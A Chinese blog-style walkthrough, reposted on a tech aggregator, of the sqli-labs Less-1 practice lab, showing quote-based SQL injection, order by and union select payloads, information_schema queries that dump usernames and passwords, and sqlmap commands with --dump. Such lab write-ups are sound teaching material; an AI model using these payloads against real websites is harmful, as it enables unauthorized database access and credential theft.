IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> sqli less1 -> 正文阅读

[大数据]sqli less1

sqli-labs less-1

前言

鄙人不才,只是把平时学习的笔记整理下来,仅供参考,望大家指点。

首先我们需要了解,什么是sql注入?
SQL注入是比较常见的网络攻击方式,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写代码时的疏忽,导致他人可以通过操作输入来修改后台SQL语句达到代码执行,进行攻击的后果

注入手法的分类

注入手法可以分为:

联合查询注入、报错型注入、布尔型注入、延时注入、堆叠注入

从数据类型可以分为:

字符型、数值型

从注入位置可以分类为:

GET数据(提交数据的方式为GET,大多存在地址栏)
POST数据(提交数据的方式为POST,大多存在于输入框中)
HTTP头部(提交数据的方式为HTTP头部)
cookie数据(提交数据的方式为cookie)

开始注入

在开始之前,做两件简单的事

1.在firefox浏览器中,下载一个名为HackBar的插件
2.在less-1的index.php文件中,添加两行语句,这可以显示你注入的位置,更直观地学习。

上面两步都是为了注入过程更直观。

首先的问题是,查看是否有sql注入漏洞?用什么方式注入?
通过网页上的提示我们得知:

Please input the ID as parameter with numeric value
输入ID作为带数值的参数
输入id=1,2,3,4后,可以看到返回的值也是不同的

知道可以从id注入,但是还不知道是字符型注入还是整型注入,用and 1=1和and 1=2来判断

首先在后面构造一个and 1=1

再构造一个and 1=2,发现无论是and 1=1,还是and 1=2都是正常的显示。

得出结论这是一个字符型的注入,那么添加一个单引号,发现网页报错,且1‘正处于一对单引号之间。

目前的目标便是去掉一个单引号,让1’后面的单引号与前面的闭合,让查询语句变成可控的变量

在sql语句中,--+、-- 、#是注释符号,但是#与空格都会被转义,所以使用--+

找出了注入方式,需要知道有几列在显示

使用order by语句,对半拆解法,修改order by后面的参数

从10尝试,一直对半拆解,直到没有报错回显,4列报错,3列正常,最后得到结果为3列

知道了列数,还需要知道哪些列显示哪些列不显示?

union select找出1,2,3中是哪些显示数据

2、3列在显示

爆当前数据库与所有数据库

查看当前数据库database()
查看所有数据库操作group_concat(schema_name) from information_schema.schemata--+

爆表

爆security的表信息,group_concat(table_name) from information_schema.tables where table_schema='security'--+
在此不推荐用'security'因为可能会引入单引号问题,可以把它转成十六进制。同样的效果,但十六进制可以避免单引号问题

爆列名

爆列名的操作,group_concat(column_name) from information_schema.columns where table_name='users'--+ 
之所以这么多,是因为没有对库进行限制,后面加上个table_schema='security'

爆数据

使用组合函数取出账号密码,group_concat(concat_ws(‘-’,username,password)) from security.users--+

总结

  1. 查看是否有注入
    //http://www.sqli.com/Less-1/?id=4
  2. 查看多少列
    //使用拆解法,order by
  3. 查看哪些数据可以回显
    //union select
  4. 查看所有数据库
    //Select schema_name from information_schema.shcemata;
  5. 查看当前数据库
    //Select table_name from information_schema.tables where table_schema=’security’;
  6. 查看所有的表
    //select column_name from information_schema.columns where table_name=‘users’;
  7. 查看所有列的信息
    //select id,usernme,password from security.users;
  8. 查询所有字段信息

用sqlmap来爆破
(这我就不演示了,工具爆破只要知道参数就行,比较容易上手)

  1. 在cmd下
    sqlmap.py -u “http://www.sqli.com/Less-1/?id=1”
    //用sqlmap对此url网页进行自动注入扫描,找到注入点
  2. 爆库名
    sqlmap.py -u “http://www.sqli.com/Less-1/?id=1” --dbs
  3. 爆表名
    sqlmap.py -u “http://www.sqli.com/Less-1/?id=1” -D security --tables
  4. 爆字段名
    sqlmap.py -u “http://www.sqli.com/Less-1/?id=1” -D security -T users --columns
  5. 爆数据
    sqlmap.py -u “http://www.sqli.com/Less-1/?id=1” -D security -T users -C id,username,password --dump

我这篇文章主要面向于不知道从何着手的新手,所以讲得很繁琐。如果有什么地方不对的,请指正。

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2021-10-24 14:59:55  更:2021-10-24 15:02:08 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 3:36:59-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码